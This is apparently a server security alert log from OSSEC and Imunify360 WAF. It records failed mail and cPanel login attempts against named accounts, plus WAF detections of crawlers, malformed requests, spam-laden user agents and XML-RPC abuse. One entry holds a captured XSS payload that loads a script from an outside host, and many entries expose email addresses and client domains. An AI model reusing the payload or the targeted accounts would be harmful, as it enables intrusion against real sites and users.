name: Exim Auth failed
abuser: 101.13.6.86
country_id: 1668284
description:
2026-07-20 19:22:16 dovecot_login authenticator failed for H=([111.70.49.182]) [101.13.6.86]:42852: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 49.178.128.212
country_id: 2077456
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.32||T:APACHE||MVN:ARGS:vfedit10incident-classification[]||MV:Minor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.237.155.150
country_id: 1835841
description:
2026-07-20 19:23:02 dovecot_login authenticator failed for H=(static.ftth.rcr.117.254.104.107.bsnl.in) [1.237.155.150]:41686: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.244.215.186
country_id: 298795
description:
2026-07-20 19:24:23 dovecot_login authenticator failed for H=([218.150.226.139]) [178.244.215.186]:48106: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.229.151.107
country_id: 3865483
description:
2026-07-20 19:24:37 dovecot_login authenticator failed for H=(nsg-corporate-206.44.185.122.airtel.in) [181.229.151.107]:49409: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.1.128
country_id: 1668284
description:
2026-07-20 19:24:50 dovecot_login authenticator failed for H=111-70-1-128.emome-ip.hinet.net ([223.109.200.181]) [111.70.1.128]:60220: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.220.149.121
country_id: 1835841
description:
2026-07-20 19:27:32 dovecot_login authenticator failed for H=([45.55.133.80]) [118.220.149.121]:54902: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 24.35.184.145
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/601315610 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.57.125
country_id: 1668284
description:
2026-07-20 19:28:04 dovecot_login authenticator failed for H=221-120-57-125.emome-ip.hinet.net (static-185-2-228-48.cust.tele2.lt) [221.120.57.125]:35570: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.175.66.26
country_id: 6252001
description:
2026-07-20 19:30:07 dovecot_login authenticator failed for H=([142.54.235.12]) [24.175.66.26]:42998: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.49.199.97
country_id: 6252001
description:
2026-07-20 19:29:34 dovecot_login authenticator failed for H=([74.119.147.213]) [76.49.199.97]:49970: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.231.202.201
country_id: 51537
description:
2026-07-20 19:29:39 dovecot_login authenticator failed for H=([174.64.199.87]) [197.231.202.201]:36420: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.231.243.28
country_id: 6252001
description:
2026-07-20 19:30:02 dovecot_login authenticator failed for H=(undefined.hostname.localhost) [50.231.243.28]:37320: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.165.43.202
country_id: 1269750
description:
2026-07-20 19:31:40 dovecot_plain authenticator failed for H=(mogran) [122.165.43.202]:55203: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.220.233.148
country_id: 6252001
domain: www.gsmex.global
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.127.171.12
country_id: 1694008
description:
2026-07-20 19:39:47 dovecot_login authenticator failed for H=([94.190.15.13]) [222.127.171.12]:42486: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.246
country_id: 1036973
description:
2026-07-20 19:40:05 dovecot_login authenticator failed for H=(187.58.64.145.static.host.gvt.net.br) [197.219.228.246]:42830: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-07-20 19:40:06 dovecot_login authenticator failed for H=([118.123.116.93]) [103.55.89.5]:46990: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.24.238.120
country_id: 2921044
description:
2026-07-20 19:40:15 dovecot_login authenticator failed for H=120-238-024-217.ip-addr.vsenet.de ([175.206.1.60]) [217.24.238.120]:42049: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.220.199
country_id: 337996
description:
2026-07-20 19:40:21 dovecot_login authenticator failed for H=([70.166.167.42]) [196.190.220.199]:37586: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-20 19:44:04 dovecot_login authenticator failed for H=([208.109.38.143]) [94.16.17.141]:34974: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.142.170.231
country_id: 6252001
description:
2026-07-20 19:44:05 dovecot_login authenticator failed for H=syn-024-142-170-231.biz.spectrum.com ([167.114.152.101]) [24.142.170.231]:54261: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-20 19:44:18 dovecot_login authenticator failed for H=([199.229.220.179]) [218.156.8.97]:40292: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.23.66.99
country_id: 1643084
description:
2026-07-20 19:44:19 dovecot_login authenticator failed for H=([49.124.149.49]) [182.23.66.99]:17311: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.76.221.51
country_id: 1835841
description:
2026-07-20 19:49:04 dovecot_login authenticator failed for H=([109.238.140.87]) [61.76.221.51]:2749: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-20 19:49:11 dovecot_login authenticator failed for H=([221.164.235.149]) [1.227.228.131]:41740: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 24.95.187.148
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d11993668 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.45.84.119
country_id: 2589581
description:
2026-07-20 19:48:55 dovecot_login authenticator failed for H=([197.251.249.72]) [129.45.84.119]:39140: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 67.227.112.182
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:67.227.112.182||TA:67.227.112.182||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.127.161.76
country_id: 1668284
description:
2026-07-20 19:49:27 dovecot_login authenticator failed for H=59-127-161-76.hinet-ip.hinet.net ([49.124.151.56]) [59.127.161.76]:39683: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 43.224.0.254
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d41826282 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 80.81.144.22
country_id: 272103
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/home-theater-solutions HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 188.166.241.141
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://domkodeks.ru/question/guia-para-elegir-maquinas-tragamonedas-online-seguras-en-argentina-5\">spartan slots</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.230.168
country_id: 298795
description:
2026-07-20 19:56:58 dovecot_login authenticator failed for H=([46.42.19.159]) [78.187.230.168]:32936: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-20 19:57:01 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.118.32.190
country_id: 1269750
description:
2026-07-20 19:57:41 dovecot_login authenticator failed for H=(223-197-153-135.static.imsbiz.com) [45.118.32.190]:58031: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-20 19:57:50 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([103.187.78.189]) [64.207.225.55]:53498: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.42.214.219
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/db3368772 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.118.24.100
country_id: 1835841
description:
2026-07-20 20:00:45 dovecot_login authenticator failed for H=([180.94.75.90]) [39.118.24.100]:51348: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.208.46.131
country_id: 1522867
description:
2026-07-20 20:01:18 dovecot_login authenticator failed for H=([178.178.194.151]) [37.208.46.131]:35814: 535 Incorrect authentication data (set_id=jianan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.48.67.42
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e62876720 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.150.73.45
country_id: 6252001
description:
2026-07-20 20:03:10 dovecot_login authenticator failed for H=([184.185.2.254]) [166.150.73.45]:37370: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.24.200.219
country_id: 2661886
description:
2026-07-20 20:02:39 dovecot_login authenticator failed for H=h-85-24-200-219.a158.priv.bahnhof.se ([103.86.127.71]) [85.24.200.219]:45758: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.219.193.151
country_id: 1861060
description:
2026-07-20 20:03:28 dovecot_login authenticator failed for H=l193151.ppp.asahi-net.or.jp ([210.245.95.11]) [218.219.193.151]:38414: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 100.11.118.144
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e72418390 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 82.102.25.38
country_id: 1880251
domain: fefkadirectorsunion.com
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.32||T:APACHE||MVN:ARGS:class||MV:JFormFieldNRInlineFileUpload||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.0.166.123
country_id: 1605651
description:
2026-07-20 20:06:37 dovecot_login authenticator failed for H=([138.118.213.204]) [106.0.166.123]:47445: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.205
country_id: 337996
description:
2026-07-20 20:06:59 dovecot_login authenticator failed for H=([89.68.245.7]) [196.188.187.205]:59958: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.210.191.96
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:192.210.191.96||TA:192.210.191.96||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.228.236.7
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/pa-systems/projection-mapping HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.237
country_id: 1835841
description:
2026-07-20 20:12:56 dovecot_login authenticator failed for H=([98.190.239.1]) [210.206.24.237]:3846: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 24.107.251.217
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ea232952 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.209.249.46
country_id: 2661886
description:
2026-07-20 20:12:46 dovecot_login authenticator failed for H=h83-209-249-46.cust.bredband2.com ([182.78.10.145]) [83.209.249.46]:53814: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 109.196.163.174
country_id: 2510769
domain: globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:109.196.163.174||TA:109.196.163.174||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.181.132.58
country_id: 2635167
domain: globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:107.181.132.58||TA:107.181.132.58||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.41.207.112
country_id: 953987
description:
2026-07-20 20:18:40 dovecot_login authenticator failed for H=([118.69.134.243]) [196.41.207.112]:37038: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-20 20:18:49 dovecot_login authenticator failed for H=([101.13.5.55]) [182.95.176.122]:36830: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.51.235.230
country_id: 2510769
description:
2026-07-20 20:18:56 dovecot_login authenticator failed for H=([27.24.141.156]) [85.51.235.230]:54958: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.35.177.181
country_id: 3175395
description:
2026-07-20 20:19:08 dovecot_login authenticator failed for H=host-85-35-177-181.business.telecomitalia.it ([176.12.132.63]) [85.35.177.181]:38309: 535 Incorrect authentication data (set_id=website)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.105.122.66
country_id: 2635167
domain: globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:198.105.122.66||TA:198.105.122.66||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.247.22.181
country_id: 1835841
description:
2026-07-20 20:21:12 dovecot_login authenticator failed for H=([59.152.12.212]) [106.247.22.181]:56765: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.172.188.232
country_id: 6252001
description:
2026-07-20 20:22:03 dovecot_login authenticator failed for H=wsip-98-172-188-232.no.no.cox.net (111-70-38-54.emome-ip.hinet.net) [98.172.188.232]:59389: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-20 20:23:26 dovecot_login authenticator failed for H=([102.211.7.162]) [197.219.208.58]:35354: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.215.90
country_id: 1269750
description:
2026-07-20 20:23:34 dovecot_login authenticator failed for H=([222.90.233.165]) [110.227.215.90]:59815: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 97.81.84.83
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/032679661 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77316742
name: IM360 WAF: Generic XSS exploitation attempt
abuser: 46.226.166.112
country_id: 3017382
domain: stcinemas.co
description:
IM360 WAF: Generic XSS exploitation attempt||RSV:8.32||T:APACHE||MVN:ARGS:settings[customclass]||MV:\"><script/async/src=//brackenfolio.top/acl/principal-payload.js></script>||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.145.149.73
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/572937557 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.209.248.110
country_id: 2661886
description:
2026-07-20 20:31:11 dovecot_login authenticator failed for H=h83-209-248-110.cust.bredband2.com ([121.171.95.112]) [83.209.248.110]:33758: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-07-20 20:31:20 dovecot_login authenticator failed for H=([195.158.26.59]) [64.72.74.162]:41011: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.198.26
country_id: 1643084
description:
[2026-07-20 20:32:47 +0530] info [cpaneld] 157.85.198.26 - globalg2 "GET /login/?login_only=1&user=globalg2&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user globalg2 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.87.220.1
country_id: 2510769
description:
[2026-07-20 20:32:33 +0530] info [cpaneld] 85.87.220.1 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.181.85.213
country_id: 3017382
description:
[2026-07-20 20:32:34 +0530] info [cpaneld] 88.181.85.213 - globalgroupoman "GET /login/?login_only=1&user=globalgroupoman&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 115.133.215.35
country_id: 1733045
description:
[2026-07-20 20:32:36 +0530] info [cpaneld] 115.133.215.35 - globalgroupomancom "GET /login/?login_only=1&user=globalgroupomancom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user globalgroupomancom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 111.119.35.103
country_id: 1282988
description:
[2026-07-20 20:32:39 +0530] info [cpaneld] 111.119.35.103 - globalgr "GET /login/?login_only=1&user=globalgr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user globalgr (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.250.25.62
country_id: 6251999
description:
2026-07-20 20:33:42 dovecot_login authenticator failed for H=([110.45.150.219]) [205.250.25.62]:58604: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 75.180.120.22
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/55552281 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.207.215.2
country_id: 3175395
description:
2026-07-20 20:35:33 dovecot_login authenticator failed for H=host-37-207-215-2.business.telecomitalia.it ([218.21.243.58]) [37.207.215.2]:32514: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.138.166.217
country_id: 1835841
description:
2026-07-20 20:35:58 dovecot_login authenticator failed for H=([68.71.241.37]) [125.138.166.217]:38080: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.194.5.183
country_id: 2077456
description:
2026-07-20 20:37:53 dovecot_login authenticator failed for H=([155.212.17.174]) [203.194.5.183]:46454: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.symbaloo.com/mix/yohoho-unblocked-76\">yohoho unblocked 76</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.197.199
country_id: 2661886
description:
2026-07-20 20:37:52 dovecot_login authenticator failed for H=213-66-197-199-no2550.tbcn.telia.com ([222.92.61.242]) [213.66.197.199]:56704: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.87
country_id: 1733045
description:
2026-07-20 20:39:24 dovecot_login authenticator failed for H=(88-97-105-197.dsl.in-addr.zen.co.uk) [49.125.201.87]:42202: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.235.225.112
country_id: 2077456
description:
2026-07-20 20:39:49 dovecot_login authenticator failed for H=(213-66-197-199-no2550.tbcn.telia.com) [220.235.225.112]:46755: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.103.82.72
country_id: 2661886
description:
2026-07-20 20:40:58 dovecot_login authenticator failed for H=194-103-82-72.ip.obe.net (static.ill.103.225.15.98.bsnl.co.in) [194.103.82.72]:50362: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.194.29
country_id: 1269750
description:
2026-07-20 20:41:24 dovecot_login authenticator failed for H=([49.124.151.84]) [49.206.194.29]:52840: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.202.58
country_id: 1269750
description:
2026-07-20 20:43:05 dovecot_login authenticator failed for H=([219.144.16.16]) [122.186.202.58]:54476: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.57.31
country_id: 1269750
description:
2026-07-20 20:42:24 dovecot_login authenticator failed for H=(host.46-183-135-88.broadband.redcom.ru) [103.168.57.31]:47530: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.57.31
country_id: 1269750
description:
2026-07-20 20:43:53 dovecot_login authenticator failed for H=([23.242.28.103]) [103.168.57.31]:59728: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.181.79.60
country_id: 1819730
description:
2026-07-20 20:43:18 dovecot_login authenticator failed for H=([223.109.200.181]) [65.181.79.60]:65531: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.152.57.60
country_id: 2510769
description:
2026-07-20 20:44:26 dovecot_login authenticator failed for H=([184.185.2.254]) [85.152.57.60]:46782: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.209.51
country_id: 2661886
description:
2026-07-20 20:45:06 dovecot_login authenticator failed for H=h-155-4-209-51.a463.priv.bahnhof.se ([49.124.152.33]) [155.4.209.51]:46320: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 84.233.212.44
country_id: 6252001
domain: combinations.in
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:74207.combinations.in||ServerName:combinations.in||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5f5f46ea54c40806e823e591ebe331b644b4c9af||Title:0xf6ba9c5b||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.211.208.125
country_id: 2661886
description:
2026-07-20 20:46:13 dovecot_login authenticator failed for H=217-211-208-125-no2550.tbcn.telia.com ([72.37.216.65]) [217.211.208.125]:36910: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-20 20:46:20 dovecot_login authenticator failed for H=([117.40.175.86]) [125.130.102.172]:42782: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.103.82.72
country_id: 2661886
description:
2026-07-20 20:46:19 dovecot_login authenticator failed for H=194-103-82-72.ip.obe.net (static.ill.103.225.15.98.bsnl.co.in) [194.103.82.72]:39204: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.170.76
country_id: 1835841
description:
2026-07-20 20:46:29 dovecot_login authenticator failed for H=(c-71-235-27-139.hsd1.vt.comcast.net) [218.149.170.76]:41451: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.43.150.20
country_id: 1668284
description:
2026-07-20 20:46:35 dovecot_login authenticator failed for H=(host-pq.vsg1-a.v4.dfn.nl) [115.43.150.20]:46970: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.105.15.219
country_id: 6252001
description:
2026-07-20 20:46:48 dovecot_login authenticator failed for H=([197.156.97.198]) [174.105.15.219]:33040: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.10.134.170
country_id: 1210997
description:
2026-07-20 20:47:50 dovecot_login authenticator failed for H=([222.139.245.70]) [157.10.134.170]:41876: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.211.165.46
country_id: 2077456
description:
2026-07-20 20:48:16 dovecot_login authenticator failed for H=([197.219.228.242]) [118.211.165.46]:37816: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 120.29.110.72
country_id: 1694008
domain: cochinbigbandshow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:47845.cochinbigbandshow.com||ServerName:cochinbigbandshow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e3cf884007d26c2d9eb1f78dbcd248e9a8eb0769||Title:0xed1db6b4||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.179.100.65
country_id: 6252001
description:
